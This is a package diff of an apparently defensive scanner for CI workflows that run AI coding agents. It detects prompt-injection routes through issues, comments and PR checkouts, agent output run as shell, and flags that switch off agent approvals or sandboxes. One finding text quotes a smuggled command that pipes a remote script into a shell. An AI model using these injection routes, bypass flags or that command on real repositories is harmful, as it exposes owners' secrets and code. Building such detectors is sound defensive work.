@shomra/agent 0.3.29 → 0.3.30

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/package.json +1 -1
  2. package/src/agents/hook-command.mjs +1 -1
  3. package/src/artifacts/matchers.mjs +7 -0
  4. package/src/cli/flags.mjs +2 -2
  5. package/src/cli/help-sections.mjs +7 -0
  6. package/src/cli/help.mjs +1 -1
  7. package/src/commands/check.mjs +3 -11
  8. package/src/commands/gate.mjs +26 -4
  9. package/src/commands/git-hooks.mjs +2 -2
  10. package/src/commands/ledger.mjs +0 -1
  11. package/src/commands/mcp-add.mjs +2 -1
  12. package/src/commands/memory-scan.mjs +135 -47
  13. package/src/commands/pr.mjs +7 -10
  14. package/src/commands/provenance.mjs +8 -13
  15. package/src/commands/scan.mjs +7 -1
  16. package/src/commands/secrets.mjs +4 -5
  17. package/src/core/git-exec.mjs +79 -0
  18. package/src/core/yaml-lite.mjs +300 -0
  19. package/src/core/zip-lite.mjs +37 -0
  20. package/src/detect/local-redact.mjs +1 -3
  21. package/src/detect/sast/rules-config.mjs +1 -1
  22. package/src/detect/sast/scanner.mjs +1 -1
  23. package/src/detect/signals/agent-frameworks.mjs +231 -0
  24. package/src/detect/signals/agent-graph-surface.mjs +113 -0
  25. package/src/detect/signals/agentic-ci-surface.mjs +314 -0
  26. package/src/detect/signals/agentic-shim.mjs +82 -0
  27. package/src/detect/signals/artifacts.mjs +7 -35
  28. package/src/detect/signals/chat-template.mjs +211 -0
  29. package/src/detect/signals/ci-workflow.mjs +169 -0
  30. package/src/detect/signals/gate.mjs +77 -9
  31. package/src/detect/signals/guardrail-shape.mjs +564 -0
  32. package/src/detect/signals/guardrail-surface.mjs +221 -0
  33. package/src/detect/signals/injection.mjs +8 -0
  34. package/src/detect/signals/inspect-shim.mjs +7 -0
  35. package/src/detect/signals/instruction-paths.mjs +60 -0
  36. package/src/detect/signals/manifests.mjs +302 -0
  37. package/src/detect/signals/mcp-advisories.mjs +109 -0
  38. package/src/detect/signals/mcp-config.mjs +598 -0
  39. package/src/detect/signals/memory-directives.mjs +661 -0
  40. package/src/detect/signals/memory-locations.mjs +158 -0
  41. package/src/detect/signals/memory.mjs +47 -29
  42. package/src/detect/signals/model-config-rules.mjs +655 -0
  43. package/src/detect/signals/model-config.mjs +61 -0
  44. package/src/detect/signals/prose-context.mjs +6 -9
  45. package/src/detect/signals/scan.mjs +4 -4
  46. package/src/detect/signals/secret-scanner.mjs +241 -0
  47. package/src/detect/signals/secrets.mjs +1 -48
  48. package/src/detect/signals/shell.mjs +3 -3
  49. package/src/gate/advisories.mjs +16 -0
  50. package/src/gate/batch.mjs +10 -0
  51. package/src/gate/environment.mjs +8 -53
  52. package/src/guard/artifact-paths.mjs +107 -0
  53. package/src/guard/classify.mjs +165 -7
  54. package/src/guard/command-resolve.mjs +35 -5
  55. package/src/guard/memory-write.mjs +218 -0
  56. package/src/guard/prompt-guard.mjs +0 -1
  57. package/src/guard/tool-guard.mjs +52 -77
  58. package/src/inventory/agent-posture.mjs +236 -57
  59. package/src/inventory/artifacts/classify.mjs +10 -1
  60. package/src/inventory/artifacts/discover.mjs +113 -3
  61. package/src/inventory/artifacts/extensions.mjs +70 -0
  62. package/src/inventory/artifacts/hook-scripts.mjs +128 -0
  63. package/src/inventory/artifacts/limits.mjs +1 -1
  64. package/src/inventory/artifacts/plugins.mjs +105 -0
  65. package/src/inventory/artifacts/roots.mjs +40 -0
  66. package/src/inventory/discovery/ai-dependencies.mjs +39 -12
  67. package/src/inventory/discovery/all.mjs +4 -0
  68. package/src/inventory/discovery/cloud-clis.mjs +472 -0
  69. package/src/inventory/discovery/coding-agents.mjs +19 -4
  70. package/src/inventory/discovery/mcp-clients.mjs +16 -10
  71. package/src/inventory/discovery/mcp-servers.mjs +125 -35
  72. package/src/inventory/discovery/mcp-stores.mjs +207 -0
  73. package/src/inventory/env-redirect.mjs +148 -0
  74. package/src/inventory/grant-extract.mjs +463 -0
  75. package/src/inventory/project-roots.mjs +108 -0
  76. package/src/inventory/vscode-state.mjs +153 -0
  77. package/src/mcp/server-tools.mjs +1 -1
@@ -0,0 +1,314 @@
1
+ import {
2
+ ACTOR_GATE_RE, MODEL_SECRET_RE, PERMISSION_CHECK_ACTION_RE, PRIVILEGED_UNTRUSTED_TRIGGERS,
3
+ UNPRIVILEGED_UNTRUSTED_TRIGGERS, ciWorkflowModel, untrustedRefs, writerRefs,
4
+
5
+ } from './ci-workflow.mjs';
6
+ import { locate } from './agentic-shim.mjs';
7
+
8
+ const BYPASS_RULES = [
9
+ { re: /--dangerously-skip-permissions\b/, label: 'claude --dangerously-skip-permissions', severity: 'HIGH' },
10
+ { re: /--permission-mode[= ]+['"]?bypassPermissions\b/i, label: 'claude --permission-mode bypassPermissions', severity: 'HIGH' },
11
+ { re: /--dangerously-bypass-approvals-and-sandbox\b/, label: 'codex --dangerously-bypass-approvals-and-sandbox', severity: 'HIGH' },
12
+ { re: /(?:--sandbox|(?:^|\s)-s)[= ]+['"]?danger-full-access\b|\bsandbox\s*[:=]\s*['"]?danger-full-access\b/im, label: 'sandbox danger-full-access', severity: 'HIGH' },
13
+ { re: /\bsafety-strategy\s*[:=]\s*['"]?unsafe\b/i, label: 'codex-action safety-strategy: unsafe', severity: 'HIGH' },
14
+ { re: /--approval-mode[= ]+['"]?yolo\b/i, label: '--approval-mode yolo', severity: 'HIGH' },
15
+ { re: /(?:^|\s)--yolo\b/m, label: '--yolo', severity: 'HIGH' },
16
+ { re: /--allow-all-tools\b|(?:^|\s)--allow-all\b/m, label: 'copilot --allow-all-tools', severity: 'HIGH' },
17
+ { re: /--trust-all-tools\b/, label: '--trust-all-tools', severity: 'HIGH' },
18
+ { re: /--yes-always\b/, label: 'aider --yes-always', severity: 'HIGH' },
19
+ { re: /\b(?:cursor-)?agent\b[^\n]*\s(?:--force|-f)\b/, label: 'cursor agent --force', severity: 'HIGH' },
20
+ { re: /--allowed-?tools[= ]+['"]?[^'"\n]*(?:\bBash\b(?!\()|Bash\(\s*\*?\s*\)|Bash\(\*|["' ,]\*["' ,])/i, label: '--allowedTools with unscoped Bash', severity: 'HIGH' },
21
+ { re: /(?:--ask-for-approval|(?:^|\s)-a)[= ]+['"]?never\b/m, label: 'codex --ask-for-approval never', severity: 'MEDIUM' },
22
+ { re: /--full-auto\b/, label: 'codex --full-auto', severity: 'MEDIUM' },
23
+ ];
24
+
25
+ const has = (s , re ) => !!s && new RegExp(re.source, re.flags.replace('g', '')).test(s);
26
+ const uniq = (xs ) => [...new Set(xs)];
27
+ const matchesOf = (s , re ) => uniq([...s.matchAll(new RegExp(re.source, re.flags.includes('g') ? re.flags : re.flags + 'g'))].map((m) => m[0])).slice(0, 8);
28
+
29
+ function agentSteps(wf ) {
30
+ return wf.jobs.flatMap((j) => j.steps.filter((s) => s.ai));
31
+ }
32
+
33
+ function jobOf(wf , step ) {
34
+ return wf.jobs.find((j) => j.id === step.job) ;
35
+ }
36
+
37
+ function whoCanFire(wf , step ) {
38
+ const job = jobOf(wf, step);
39
+ const gate = [job.if, step.if].find((c) => has(c, ACTOR_GATE_RE));
40
+ if (gate) return { who: 'writers', why: `gated by \`if: ${gate.slice(0, 120)}\`` };
41
+ const earlier = job.steps.filter((s) => s.index < step.index);
42
+ if (earlier.some((s) => has(s.uses, PERMISSION_CHECK_ACTION_RE))) return { who: 'writers', why: 'a permission-check step runs first' };
43
+ const w = step.with;
44
+ if (step.ai?.product === 'claude-code-action') {
45
+ const open = (w.allowed_non_write_users ?? '').trim();
46
+ if (open === '*') return { who: 'open', why: 'allowed_non_write_users: "*" switches off the action\'s write-access check' };
47
+ if (open) return { who: 'actors', why: `allowed_non_write_users lets ${open.slice(0, 80)} fire it without write access` };
48
+ return { who: 'writers', why: 'claude-code-action only runs for actors with write access by default' };
49
+ }
50
+ if (step.ai?.product === 'codex-action') {
51
+ const open = (w['allow-users'] ?? '').trim();
52
+ if (open === '*') return { who: 'open', why: 'allow-users: "*" switches off the action\'s write-access check' };
53
+ if (open) return { who: 'actors', why: `allow-users lets ${open.slice(0, 80)} fire it` };
54
+ return { who: 'writers', why: 'codex-action requires write access by default' };
55
+ }
56
+ return { who: 'open', why: 'no actor condition on the job or step, and the step has no write-access check of its own' };
57
+ }
58
+
59
+ function unattended(step ) {
60
+ const out =
61
+ BYPASS_RULES.filter((r) => has(step.inputText, r.re)).map(({ label, severity }) => ({ label, severity }));
62
+ if (step.ai?.product === 'run-gemini-cli' && !/"core"\s*:/.test(step.with.settings ?? '')) {
63
+ out.push({ label: 'run-gemini-cli always runs --yolo, and no settings.tools.core allow-list narrows it', severity: 'HIGH', implicit: true });
64
+ }
65
+ if (step.ai?.product === 'ai-inference' && /^true$/i.test((step.with['enable-github-mcp'] ?? '').trim())) {
66
+ out.push({ label: 'ai-inference with enable-github-mcp: true', severity: 'MEDIUM', implicit: true });
67
+ }
68
+ return out;
69
+ }
70
+
71
+ const MODEL_AUTH_INPUTS = new Set(['anthropic_api_key', 'claude_code_oauth_token', 'openai-api-key', 'openai_api_key', 'gemini_api_key', 'google_api_key', 'github_token']);
72
+ const PROVIDER_WORD_RE = /OPENAI|ANTHROPIC|CLAUDE|GEMINI|GOOGLE_AI|GOOGLE_GENERATIVE|MISTRAL|GROQ|OPENROUTER|DEEPSEEK|XAI/i;
73
+ const isModelAuthInput = (k ) => MODEL_AUTH_INPUTS.has(k.toLowerCase()) || (PROVIDER_WORD_RE.test(k) && /(?:KEY|TOKEN)$/i.test(k));
74
+
75
+ const WRITE_TOOL_RE = /\b(?:Write|Edit|MultiEdit|NotebookEdit)\b|\bBash\b(?!\()|Bash\(\s*\*|write_file|replace\b|run_shell_command(?!\()/;
76
+
77
+ function capabilityOf(step ) {
78
+ const w = step.with;
79
+ if (step.ai?.kind === 'reviewer') return { level: 'restricted', why: 'a review bot with a fixed tool set' };
80
+ if (step.ai?.product === 'codex-action' && (/read-only/.test(w.sandbox ?? '') || /read-only/.test(w['permission-profile'] ?? '') || /read-only/.test(w['safety-strategy'] ?? ''))) {
81
+ return { level: 'restricted', why: 'codex runs with a read-only sandbox' };
82
+ }
83
+ const settings = w.settings ?? '';
84
+ if (step.ai?.product === 'run-gemini-cli' && /"core"\s*:\s*\[([^\]]*)\]/.test(settings) && !WRITE_TOOL_RE.test(/"core"\s*:\s*\[([^\]]*)\]/.exec(settings) [1])) {
85
+ return { level: 'restricted', why: 'settings.tools.core narrows the Gemini tools' };
86
+ }
87
+ const list = /--allowed-?tools[= ]+(?:"([^"]*)"|'([^']*)'|(\S+))/i.exec(step.inputText) ?? /\ballowed_tools:\s*(.+)/i.exec(step.inputText);
88
+ const tools = list ? (list[1] ?? list[2] ?? list[3] ?? '') : '';
89
+ if (tools && !WRITE_TOOL_RE.test(tools)) return { level: 'restricted', why: `the tool list is limited to ${tools.slice(0, 100)}` };
90
+ return { level: 'default', why: null };
91
+ }
92
+
93
+ const REPO_WRITE_SCOPES = ['contents', 'pull-requests', 'actions', 'packages', 'deployments', 'security-events', 'checks', 'statuses', 'workflows', 'pages'];
94
+
95
+ function narrowToken(wf , step ) {
96
+ const perms = jobOf(wf, step).permissions ?? wf.permissions;
97
+ if (perms === 'read-all' || (perms && typeof perms === 'object' && !Object.keys(perms ).length)) return true;
98
+ if (!perms || typeof perms !== 'object') return false;
99
+ return !REPO_WRITE_SCOPES.some((k) => (perms )[k] === 'write');
100
+ }
101
+
102
+ function triggerFindings(ctx , step ) {
103
+ const { a, privileged } = ctx;
104
+ if (!privileged.length || step.ai?.kind === 'model') return [];
105
+ const fire = whoCanFire(ctx.wf, step);
106
+ if (fire.who === 'writers') return [];
107
+ const flags = unattended(step);
108
+ const cap = capabilityOf(step);
109
+ const narrow = narrowToken(ctx.wf, step);
110
+ const sev = flags.some((f) => f.severity === 'HIGH') && fire.who === 'open' ? 'CRITICAL'
111
+ : fire.who === 'open' && cap.level === 'default' && !narrow ? 'HIGH' : 'MEDIUM';
112
+ return [{
113
+ class: 'PROMPT_INJECTION',
114
+ severity: sev,
115
+ title: `Agent step "${step.id ?? step.ai .product}" in "${a.name}" can be summoned by ${fire.who === 'open' ? 'anyone' : 'named non-writers'} on ${privileged.join(', ')}`,
116
+ detail:
117
+ `${fire.why}. ${privileged.join(', ')} runs in the base repository with its secrets and a write-capable token, and the agent reads the triggering issue, comment or PR itself - so whoever can open one writes part of its instructions, with no \`\${{ }}\` needed in the prompt.` +
118
+ (flags.length
119
+ ? ` The step also runs unattended (${flags.map((f) => f.label).join('; ')}), so an injected instruction executes without review.`
120
+ : cap.why ? ` Its reach is narrowed (${cap.why}), so a steered run is bounded by that list - which is the part to keep tight.`
121
+ : narrow ? ' Its job token can write only issue / discussion content, so a steered run is bounded to what that token and the agent\'s default tools allow.' : ''),
122
+ remediationText:
123
+ 'Gate the job on the actor (`author_association` in OWNER/MEMBER/COLLABORATOR, or a permission check) and keep the action\'s write-access check on; give the agent read-only tools and a read-only token for anything it does on untrusted threads.',
124
+ remediationTier: 1,
125
+ evidence: { step: step.id, product: step.ai .product, triggers: privileged, gate: fire.why, capability: cap.why, unattended: flags.map((f) => f.label), path: a.path, ...locate(step.uses ?? step.ai .product, a.content) },
126
+ }];
127
+ }
128
+
129
+ function interpolationFindings(ctx , step ) {
130
+ const { a, privileged, forkOnly } = ctx;
131
+ const untrusted = untrustedRefs(step.inputText);
132
+ const writer = writerRefs(step.inputText);
133
+ if (!untrusted.length && !writer.length) return [];
134
+ const exprs = untrusted.length ? untrusted : writer;
135
+
136
+ const narrow = capabilityOf(step).level === 'restricted' && !unattended(step).length;
137
+ const sev = !untrusted.length ? 'LOW' : privileged.length ? (narrow ? 'MEDIUM' : 'HIGH') : forkOnly.length ? 'MEDIUM' : 'LOW';
138
+ const onEnv = !exprs.some((e) => (step.run ?? '').includes(e) || Object.values(step.with).some((v) => v.includes(e)));
139
+ return [{
140
+ class: 'PROMPT_INJECTION',
141
+ severity: sev,
142
+ title: `Workflow "${a.name}" feeds ${untrusted.length ? 'attacker-controllable' : 'dispatcher-supplied'} text to agent step "${step.id ?? step.ai .product}"${onEnv ? ' through an environment variable' : ''}`,
143
+ detail:
144
+ `${exprs.slice(0, 4).join(', ')} reach${exprs.length === 1 ? 'es' : ''} the agent${onEnv ? ' through an environment variable' : ''}` +
145
+ (privileged.length && untrusted.length ? `, on ${privileged.join(', ')} - a trigger that carries repository secrets and a write-scoped token` : '') +
146
+ '. An environment variable stops SHELL injection; it does not stop PROMPT injection - the agent still reads the text as part of its task, and anyone who can write it can write instructions.',
147
+ remediationText:
148
+ 'Do not put issue, comment, PR or commit text in the prompt of an agent that holds secrets or write tools. If it must read untrusted text, run it read-only with no secrets beyond the model key, and treat its output as untrusted data.',
149
+ remediationTier: 1,
150
+ evidence: { expressions: exprs, step: step.id, product: step.ai .product, triggers: ctx.wf.triggers, viaEnv: onEnv, path: a.path, ...locate(exprs[0], a.content) },
151
+ }];
152
+ }
153
+
154
+ function bypassFindings(ctx , step ) {
155
+ const flags = unattended(step);
156
+ if (!flags.length) return [];
157
+ const exposed = ctx.privileged.length > 0 || untrustedRefs(step.inputText).length > 0;
158
+ const top = flags.find((f) => f.severity === 'HIGH') ?? flags[0];
159
+ return [{
160
+ class: 'INSECURE_CONFIG',
161
+
162
+ severity: top.severity === 'HIGH' ? (exposed ? 'CRITICAL' : flags.every((x) => x.implicit) ? 'MEDIUM' : 'HIGH') : 'MEDIUM',
163
+ title: `Workflow "${ctx.a.name}" runs an agent with approvals disabled`,
164
+ detail:
165
+ `Agent step "${step.id ?? step.ai .product}" uses ${flags.map((f) => f.label).join('; ')}. In CI there is no human to approve anything, so the agent executes whatever it decides, with the runner's credentials and network` +
166
+ (exposed ? ' - on a workflow that attacker-authored text reaches, so an injected instruction executes unreviewed.' : '.'),
167
+ remediationText: 'Remove the bypass and give the CI agent an explicit allow-list of narrow tools (e.g. `Bash(npm test)`, `gh pr comment`), with the sandbox on.',
168
+ remediationTier: 1,
169
+ evidence: { flags: flags.map((f) => f.label), step: step.id, triggers: ctx.wf.triggers, path: ctx.a.path, ...locate(flagNeedle(step, flags[0].label), ctx.a.content) },
170
+ }];
171
+ }
172
+
173
+ function flagNeedle(step , label ) {
174
+ const rule = BYPASS_RULES.find((r) => r.label === label);
175
+ return rule ? rule.re : step.uses ?? label;
176
+ }
177
+
178
+ const UNTRUSTED_CHECKOUT_RE = /github\.event\.pull_request\.head\.(?:sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(?:sha|branch)|refs\/pull\/|\bpull\/\$\{\{/i;
179
+
180
+ function checkoutFindings(ctx , step ) {
181
+ const triggers = ctx.wf.triggers.filter((t) => t === 'pull_request_target' || t === 'workflow_run' || t === 'issue_comment');
182
+ if (!triggers.length) return [];
183
+ const job = jobOf(ctx.wf, step);
184
+ const checkout = job.steps.find((s) => s.index < step.index && (
185
+ (has(s.uses, /^actions\/checkout\b/i) && has(s.with.ref ?? '', UNTRUSTED_CHECKOUT_RE)) ||
186
+ has(s.run, /\bgh\s+pr\s+checkout\b|git\s+(?:fetch|checkout)[^\n]*(?:refs\/pull\/|\bpull\/|github\.event\.pull_request\.head)/i)
187
+ ));
188
+ if (!checkout) return [];
189
+ return [{
190
+ class: 'PROMPT_INJECTION',
191
+ severity: 'CRITICAL',
192
+ title: `Workflow "${ctx.a.name}" runs an agent on a pull request's own code with base-repo secrets`,
193
+ detail:
194
+ `On ${triggers.join(', ')}, step ${checkout.index + 1} checks out the PR head before agent step "${step.id ?? step.ai .product}". The agent then loads that tree's CLAUDE.md / AGENTS.md / .cursor rules, .mcp.json servers and settings as its own configuration - all authored by whoever opened the PR - while holding the base repository's secrets and write token.`,
195
+ remediationText:
196
+ 'Run agents that must see PR code on `pull_request` (fork: no secrets), or check the PR out into a subdirectory the agent does not treat as its project root, with project instruction files, MCP config and hooks disabled.',
197
+ remediationTier: 1,
198
+ evidence: { triggers, checkoutStep: checkout.index + 1, step: step.id, path: ctx.a.path, ...locate(checkout.with.ref ?? 'gh pr checkout', ctx.a.content) },
199
+ }];
200
+ }
201
+
202
+ function outputFindings(ctx , step ) {
203
+ if (!step.id) return [];
204
+ const job = jobOf(ctx.wf, step);
205
+ const ref = new RegExp(String.raw`\$\{\{[^}]*\bsteps\.${step.id.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\.outputs\.[\w-]+[^}]*\}\}`);
206
+ const sink = job.steps.find((s) => s.index > step.index && (has(s.run, ref) || (has(s.uses, /^actions\/github-script\b/) && has(s.with.script, ref))));
207
+ if (!sink) return [];
208
+ const expr = ((sink.run ?? sink.with.script ?? '').match(ref) ?? [''])[0];
209
+ return [{
210
+ class: 'INJECTION_FLAW',
211
+ severity: 'HIGH',
212
+ title: `Workflow "${ctx.a.name}" executes the agent's output as code`,
213
+ detail: `${expr} is interpolated into ${sink.run ? 'a `run:` script' : 'a github-script body'} (step ${sink.index + 1}). The expression is substituted before the shell parses it, so whatever the model returns - including text an injected instruction made it return - runs as a command with the job's token.`,
214
+ remediationText: 'Pass the agent output through an environment variable and treat it as data (quote it, validate it against an expected shape); never splice it into a script.',
215
+ remediationTier: 1,
216
+ evidence: { expression: expr, producer: step.id, sinkStep: sink.index + 1, path: ctx.a.path, ...locate(expr, ctx.a.content) },
217
+ }];
218
+ }
219
+
220
+ function reachFindings(ctx , step ) {
221
+ const out = [];
222
+ const job = jobOf(ctx.wf, step);
223
+ const perms = job.permissions ?? ctx.wf.permissions;
224
+
225
+ if (perms === 'write-all' && (ctx.privileged.length || ctx.forkOnly.length)) {
226
+ out.push({
227
+ class: 'OVER_PERMISSIONED',
228
+ severity: 'MEDIUM',
229
+ title: `Agent job "${job.id}" in "${ctx.a.name}" holds a write-all token`,
230
+ detail: `The job that runs the agent on ${[...ctx.privileged, ...ctx.forkOnly].join(', ')} is granted \`permissions: write-all\`. Anything an injected instruction makes the agent do, it does with that reach.`,
231
+ remediationText: 'Declare the minimum per-job permissions the agent needs (usually contents: read plus one write scope it posts with).',
232
+ remediationTier: 2,
233
+ evidence: { job: job.id, permissions: perms, path: ctx.a.path, ...locate('write-all', ctx.a.content) },
234
+ });
235
+ }
236
+
237
+ const holders = [...Object.entries(step.env), ...Object.entries(step.with)].filter(([k]) => !isModelAuthInput(k)).map(([, v]) => v);
238
+ const secrets = uniq(matchesOf(holders.join('\n'), /\$\{\{\s*secrets\.([\w-]+)\s*\}\}/g).map((m) => /secrets\.([\w-]+)/.exec(m) [1]))
239
+ .filter((s) => !MODEL_SECRET_RE.test(s));
240
+ if (secrets.length && (ctx.privileged.length || untrustedRefs(step.inputText).length > 0)) {
241
+ out.push({
242
+ class: 'TOXIC_FLOW',
243
+ severity: 'HIGH',
244
+ title: `Agent step "${step.id ?? step.ai .product}" in "${ctx.a.name}" holds secrets beyond its model key`,
245
+ detail: `${secrets.slice(0, 6).join(', ')} ${secrets.length === 1 ? 'is' : 'are'} handed to an agent that attacker-authored text reaches. The model key is the one credential it needs; every other secret in its environment is something an injected instruction can print into a comment, a branch or a request.`,
246
+ remediationText: 'Give the agent step only the model credential and the default GITHUB_TOKEN; run anything that needs other secrets in a separate job that consumes the agent\'s output as data.',
247
+ remediationTier: 1,
248
+ evidence: { secrets, step: step.id, path: ctx.a.path, ...locate(`secrets.${secrets[0]}`, ctx.a.content) },
249
+ });
250
+ }
251
+ if (step.ai?.product === 'claude-code-action' && (step.with.allowed_bots ?? '').trim() === '*') {
252
+ out.push({
253
+ class: 'WEAK_AUTH',
254
+ severity: 'MEDIUM',
255
+ title: `claude-code-action in "${ctx.a.name}" accepts any bot`,
256
+ detail: '`allowed_bots: "*"` lets any GitHub App fire the agent with a prompt it controls, and allowed bots are not checked for repository permissions.',
257
+ remediationText: 'List the specific bots that may trigger the agent.',
258
+ remediationTier: 2,
259
+ evidence: { path: ctx.a.path, ...locate('allowed_bots', ctx.a.content) },
260
+ });
261
+ }
262
+ return out;
263
+ }
264
+
265
+ function scriptInjectionFindings(a , wf , privileged ) {
266
+ if (wf.vendor !== 'github' || !privileged.length) return [];
267
+ const out = [];
268
+ for (const s of wf.jobs.flatMap((j) => j.steps)) {
269
+ if (s.ai || !s.run) continue;
270
+ const exprs = untrustedRefs(s.run);
271
+ if (!exprs.length) continue;
272
+ out.push({
273
+ class: 'INJECTION_FLAW',
274
+ severity: 'HIGH',
275
+ title: `Workflow "${a.name}" splices attacker text into a shell script`,
276
+ detail: `${exprs.slice(0, 3).join(', ')} is interpolated directly into a \`run:\` script on ${privileged.join(', ')}. The expression is substituted before bash parses the line, so a title such as \`"; curl evil | sh; #\` runs with the job's secrets.`,
277
+ remediationText: 'Pass the value through `env:` and reference it as "$VAR" in the script.',
278
+ remediationTier: 1,
279
+ evidence: { expressions: exprs, path: a.path, ...locate(exprs[0], a.content) },
280
+ });
281
+ if (out.length >= 5) break;
282
+ }
283
+ return out;
284
+ }
285
+
286
+ export function agenticCiFindings(a ) {
287
+ const wf = ciWorkflowModel(a.path, a.content ?? '');
288
+ if (!wf) return [];
289
+ const privileged = wf.triggers.filter((t) => PRIVILEGED_UNTRUSTED_TRIGGERS.has(t));
290
+ const forkOnly = wf.triggers.filter((t) => UNPRIVILEGED_UNTRUSTED_TRIGGERS.has(t));
291
+ const ctx = { a, wf, privileged, forkOnly };
292
+ const out = [];
293
+ for (const step of agentSteps(wf).slice(0, 20)) {
294
+ out.push(
295
+ ...triggerFindings(ctx, step), ...interpolationFindings(ctx, step), ...bypassFindings(ctx, step),
296
+ ...checkoutFindings(ctx, step), ...outputFindings(ctx, step), ...reachFindings(ctx, step),
297
+ );
298
+ }
299
+ out.push(...scriptInjectionFindings(a, wf, privileged));
300
+ return dedupe(out);
301
+ }
302
+
303
+ function dedupe(fs ) {
304
+ const seen = new Set ();
305
+ return fs.filter((f) => {
306
+ const k = `${f.class}|${f.title}`;
307
+ if (seen.has(k)) return false;
308
+ seen.add(k);
309
+ return true;
310
+ });
311
+ }
312
+
313
+ export { ciWorkflowModel };
314
+
@@ -0,0 +1,82 @@
1
+ import { assessUrl } from './egress.mjs';
2
+ import { lineOf } from './lines.mjs';
3
+ import { describesAt, prohibitsAt } from './prose-context.mjs';
4
+ import { localScan } from './scan.mjs';
5
+
6
+ export { describesAt, prohibitsAt };
7
+
8
+ const signalFinding = (f, where) => ({
9
+ class: f.category === 'egress' ? 'TOXIC_FLOW' : 'INSECURE_CONFIG',
10
+ severity: f.severity,
11
+ title: `${where} ${f.category === 'egress' ? 'sends data to an exfiltration host' : 'runs a dangerous command'}`,
12
+ detail: `${f.label} in ${where}.`,
13
+ remediationText: 'Remove the command or destination, or move the node to an isolated sandbox with no credentials.',
14
+ remediationTier: 1,
15
+ evidence: { signal: f.label },
16
+ });
17
+
18
+ export function shellFindings(artifact, text, where) {
19
+ return localScan(String(text ?? ''), { categories: ['shell'] }).findings.map((f) => signalFinding(f, where));
20
+ }
21
+
22
+ export function egressFindings(artifact, text, where) {
23
+ return localScan(String(text ?? ''), { categories: ['egress'] }).findings.map((f) => signalFinding(f, where));
24
+ }
25
+
26
+ export function codeFindings() {
27
+ return [];
28
+ }
29
+
30
+ export function ssrfFindings(artifact, url, where) {
31
+ const u = assessUrl(url);
32
+ if (!u || !(u.metadataEndpoint || u.privateNetwork || u.rawIp)) return [];
33
+ return [{
34
+ class: 'INSECURE_CONFIG',
35
+ severity: u.metadataEndpoint ? 'HIGH' : 'MEDIUM',
36
+ title: `${where} calls ${u.metadataEndpoint ? 'a cloud metadata endpoint' : 'an internal address'}`,
37
+ detail: `${u.url} is reachable from the flow server's network position, so whoever can steer the node can read what that address serves.`,
38
+ remediationText: 'Point the node at a public, allow-listed host, or block internal ranges at the flow server.',
39
+ remediationTier: 2,
40
+ evidence: { url: u.url },
41
+ }];
42
+ }
43
+
44
+ export function locate(needle, ...texts) {
45
+ for (const t of texts) {
46
+ const line = lineOf(t ?? '', needle);
47
+ if (line) return { line };
48
+ }
49
+ return {};
50
+ }
51
+
52
+ const RANK = { INFO: 0, LOW: 1, MEDIUM: 2, HIGH: 3, CRITICAL: 4 };
53
+
54
+ export function textFindings(artifact, text, injectionClass = 'PROMPT_INJECTION', opts = {}) {
55
+ const { findings } = localScan(String(text ?? ''), { categories: opts.injection === false ? ['secret'] : ['injection', 'secret'] });
56
+ const out = [];
57
+ const injection = findings.filter((f) => f.category === 'injection');
58
+ if (injection.length) {
59
+ const primary = injection.reduce((w, f) => (RANK[f.severity] > RANK[w.severity] ? f : w));
60
+ out.push({
61
+ class: injectionClass,
62
+ severity: primary.severity,
63
+ title: `Injected instruction in "${artifact?.name ?? 'artifact'}"`,
64
+ detail: `${injection.map((f) => f.label).join('; ')}.`,
65
+ remediationText: 'Remove the injected text and restrict who can edit this file.',
66
+ remediationTier: 1,
67
+ evidence: { signals: injection.map((f) => f.label), ...(primary.line ? { line: primary.line } : {}) },
68
+ });
69
+ }
70
+ for (const f of findings.filter((x) => x.category === 'secret')) {
71
+ out.push({
72
+ class: 'SECRET_EXPOSURE',
73
+ severity: 'CRITICAL',
74
+ title: `Credential in "${artifact?.name ?? 'artifact'}" - ${f.label}`,
75
+ detail: `A ${f.label} appears in this file.`,
76
+ remediationText: 'Rotate the credential and read it from the environment or a secret store.',
77
+ remediationTier: 1,
78
+ evidence: { secret: f.label, ...(f.line ? { line: f.line } : {}) },
79
+ });
80
+ }
81
+ return out;
82
+ }
@@ -1,7 +1,6 @@
1
1
  import { assessUrl } from './egress.mjs';
2
2
  import { lineAt, lineOf } from './lines.mjs';
3
- import { MALICIOUS_PACKAGE_SEED, POPULAR_PACKAGES, editDistance, packageFromCommand } from './packages.mjs';
4
- import { SECRET_PATTERNS } from './secrets.mjs';
3
+ import { gradeMcpDocument } from './mcp-config.mjs';
5
4
 
6
5
  export const HIGH_IMPACT_TOOLS = ['bash', 'shell', 'exec', 'execute', 'run', 'terminal', 'command', 'write', 'edit', 'multiedit', 'writefile', 'write_file', 'create', 'delete', 'remove', 'rm', 'webfetch', 'web_fetch', 'fetch', 'browser', 'network', 'http', 'curl', 'computer', 'automation'];
7
6
 
@@ -33,40 +32,13 @@ export function frontmatter(text) {
33
32
  return data;
34
33
  }
35
34
 
36
- function mcpServersFrom(content) {
37
- let json;
38
- try { json = JSON.parse(content); } catch { return []; }
39
- const map = json?.mcpServers ?? json?.servers ?? json?.mcp?.servers ?? json?.context_servers ?? {};
40
- if (!map || typeof map !== 'object') return [];
41
- return Object.entries(map).map(([name, cfg]) => ({ name, ...(cfg && typeof cfg === 'object' ? cfg : {}) }));
42
- }
43
35
 
44
- export function localMcp(content) {
45
- const out = [];
46
- const push = (severity, title, remediationText, line) => out.push({ severity, title, remediationText, ...(line ? { line } : {}) });
47
- for (const s of mcpServersFrom(content)) {
48
- const cmdLine = [s.command, ...(s.args ?? [])].filter(Boolean).join(' ');
49
- if (s.url && String(s.url).startsWith('http://')) {
50
- push('MEDIUM', `MCP server "${s.name}" uses plaintext HTTP`, 'Use an https:// endpoint and require an authenticated bearer token.', lineOf(content, String(s.url)));
51
- }
52
- const envBlob = JSON.stringify(s.env ?? {});
53
- for (const { name, re } of SECRET_PATTERNS) {
54
- if (re.test(envBlob) || re.test(cmdLine)) {
55
- push('CRITICAL', `Static credential in MCP server "${s.name}"`, 'Rotate the credential and pass it via a runtime env reference, not a literal in the config.', lineOf(content, re));
56
- break;
57
- }
58
- }
59
- const pkg = packageFromCommand(s.command, s.args ?? []);
60
- if (pkg) {
61
- if (MALICIOUS_PACKAGE_SEED.has(pkg)) {
62
